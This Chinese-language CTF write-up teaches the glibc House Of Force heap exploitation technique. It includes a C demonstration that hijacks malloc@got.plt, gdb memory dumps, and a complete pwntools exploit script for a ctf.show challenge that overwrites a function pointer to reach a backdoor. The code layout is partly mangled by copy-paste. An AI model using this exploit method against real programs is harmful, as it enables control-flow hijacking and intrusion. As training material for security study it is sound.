原理 House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:
能够以溢出等方式控制到 top chunk 的 size 域
能够自由地控制堆分配尺寸的大小
House Of Force 产生的原因在于 glibc 对 top chunk 的处理,根据前面堆数据结构部分的知识我们得知,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk 指向我们期望的任何位置,这就相当于一次任意地址写。然而在 glibc 中,会对用户请求的大小和 top chunk 现有的 size 进行验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 victim = av->top; size = chunksize(victim);if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
然而,如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证,这也就是我们前面说的需要一个能够控制 top chunk size 域的漏洞。
1 (unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)
一般的做法是把 top chunk 的 size 改为 - 1,因为在进行比较时会把 size 转换成无符号数,因此 -1 也就是说 unsigned long 中最大的数,所以无论如何都可以通过验证。
1 2 3 4 5 remainder = chunk_at_offset(victim, nb); av->top = remainder;#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
之后这里会把 top 指针更新,接下来的堆块就会分配到这个位置,用户只要控制了这个指针就相当于实现任意地址写任意值 (write-anything-anywhere)。
与此同时,我们需要注意的是,topchunk 的 size 也会更新,其更新的方法如下
1 2 3 4 victim = av->top; size = chunksize(victim); remainder_size = size - nb; set_head(remainder, remainder_size | PREV_INUSE);
所以,如果我们想要下次在指定位置分配大小为 x 的 chunk,我们需要确保 remainder_size 不小于 x+ MINSIZE。
简单示例 在学习完 HOF 的原理之后,我们这里通过一个示例来说明 HOF 的利用,这个例子的目标是通过 HOF 来篡改 malloc@got.plt
实现劫持程序流程
1 2 3 4 5 6 7 8 9 int main () { long *ptr,*ptr2; ptr=malloc (0x10 ); ptr=(long *)(((long )ptr)+24 ); *ptr=-1 ; malloc (-4120 ); malloc (0x10 ); }
首先,我们分配一个 0x10 字节大小的块
1 2 3 4 0x602000 : 0 x0000000000000000 0 x0000000000000021 <=== ptr0x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x0000000000000000 0 x0000000000020fe1 <=== top chunk0x602030 : 0 x0000000000000000 0 x0000000000000000
之后把 top chunk 的 size 改为 0xffffffffffffffff,在真正的题目中,这一步可以通过堆溢出等漏洞来实现。 因为 -1 在补码中是以 0xffffffffffffffff 表示的,所以我们直接赋值 -1 就可以。
1 2 3 4 0x602000 : 0 x0000000000000000 0 x0000000000000021 <=== ptr0x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x0000000000000000 0 xffffffffffffffff <=== top chunk size域被更改0x602030 : 0 x0000000000000000 0 x0000000000000000
注意此时的 top chunk 位置,当我们进行下一次分配的时候就会更改 top chunk 的位置到我们想要的地方
1 2 3 4 5 6 7 0x7ffff7dd1b20 <main_arena>: 0 x0000000100000000 0 x00000000000000000x7ffff7dd1b30 <main_arena+16 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b40 <main_arena+32 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b50 <main_arena+48 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b60 <main_arena+64 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b70 <main_arena+80 >: 0 x0000000000000000 0 x0000000000602020 <=== top chunk此时一切正常0x7ffff7dd1b80 <main_arena+96 >: 0 x0000000000000000 0 x00007ffff7dd1b78
接下来我们执行malloc(-4120);
,-4120 是怎么得出的呢? 首先,我们需要明确要写入的目的地址,这里我编译程序后,0x601020 是 malloc@got.plt
的地址
1 0x601020 : 0 x00007ffff7a91130 <=== malloc@got.plt
所以我们应该将 top chunk 指向 0x601010 处,这样当下次再分配 chunk 时,就可以分配到 malloc@got.plt
处的内存了。
之后明确当前 top chunk 的地址,根据前面描述,top chunk 位于 0x602020,所以我们可以计算偏移如下
0x601010-0x602020=-4112
此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数。
1 void *__libc_malloc(size_t bytes) {
如果想要用户输入的大小经过内部的 checked_request2size
可以得到这样的大小,即
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #define SIZE_SZ (sizeof(size_t)) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \ ? MINSIZE \ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0; \ } \ (sz) = request2size(req);
一方面,我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。
MALLOC_ALIGN_MASK : 是用于对齐的掩码。
MALLOC_ALIGNMENT :是对齐的大小
另一方面,在满足对应的约束后,我们需要使得 request2size
正好转换为对应的大小,也就是说,我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 4112。首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。
1 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK == -4112
对于对齐情况
对于没有对齐情况
req = - 距离 - SIZE_SZ - MALLOC_ALIGN_MASK
因此,我们当调用malloc(-4120)
之后,我们可以观察到 top chunk 被抬高到我们想要的位置
1 2 3 4 5 6 7 0x7ffff7dd1b20 <main_arena>:\ 0 x0000000100000000 0 x00000000000000000x7ffff7dd1b30 <main_arena+16 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b40 <main_arena+32 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b50 <main_arena+48 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b60 <main_arena+64 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1b70 <main_arena+80 >: 0 x0000000000000000 0 x0000000000601010 <=== 可以观察到top chunk被抬高0x7ffff7dd1b80 <main_arena+96 >: 0 x0000000000000000 0 x00007ffff7dd1b78
之后,我们分配的块就会出现在 0x601010+0x10 的位置,也就是 0x601020 可以更改 got 表中的内容了。
但是需要注意的是,在被抬高的同时,malloc@got 附近的内容也会被修改。
1 2 set_head(victim , nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 ))
例题 例题下载 :例题
非常经典的菜单
直接看关键点
edit函数存在堆溢出,我们可以通过这个漏洞来控制Top chunk的size字段
输入5执行gondbye_meessage函数
利用思路:
通过houseofforce,将topchunk的地址移到记录goodbye_messaged的chunk0处
再次申请chunk,我们就能分配到chunk0
将goodbye_message改为后⻔函数的地址
输⼊5调⽤v4[1],即可获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *from LibcSearcher import *import sysimport re filename = './pwn143_1604' url = 'pwn.challenge.ctf.show 28117' def extract_hostname_and_port (url ): match = re.match (r'([^:\s]+)[\s:](\d*)' , url) if match : hostname = match .group(1 ) port = match .group(2 ) if match .group(2 ) else None return hostname, port return None , None hostname, port = extract_hostname_and_port(url) debug_flag = False if len (sys.argv) > 1 : if sys.argv[1 ] == 'remote' : p = remote(hostname, port) elif sys.argv[1 ] == 'debug' : p = process(filename) debug_flag = True else : print ("Usage: python script.py [remote|debug]" ) exit(1 )else : p = process(filename)def debug (): if debug_flag: try : gdbscript = ''' b * 0x000000000400AEB b * 0x000000000400C65 b * 0x000000000400D7D ''' gdb.attach(p, gdbscript=gdbscript) print ("GDB attached successfully" ) except Exception as e: print (f"Failed to attach GDB: {e} " ) context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' , '-p' , '80' ] elf = ELF(filename) debug()def show () : p.sendafter('Your choice:' , b'1' ) def add (size , content ) : p.sendafter('Your choice:' , b'2' ) p.sendafter('Please enter the length:' , str (size)) p.sendafter('Please enter the name:' , content) def edit (idx , size , content ) : p.sendafter('Your choice:' , b'3' ) p.sendafter('Please enter the index:' , str (idx)) p.sendafter('Please enter the length of name:' , str (size)) p.sendafter('Please enter the new name:' , content) def delete (idx ) : p.sendafter('Your choice:' , b'4' ) p.sendafter('Please enter the index:' , str (idx)) flag = 0x0000000000400D7F add(0x30 , 'aaaa' ) payload = b'a' * 0x38 + p64(0xffffffffffffffff ) edit(0 , 0x41 , payload) offset = -0x68 add(offset , 'aaaa' ) add(0x10 , p64(flag) * 2 ) p.interactive()
每一步堆的变换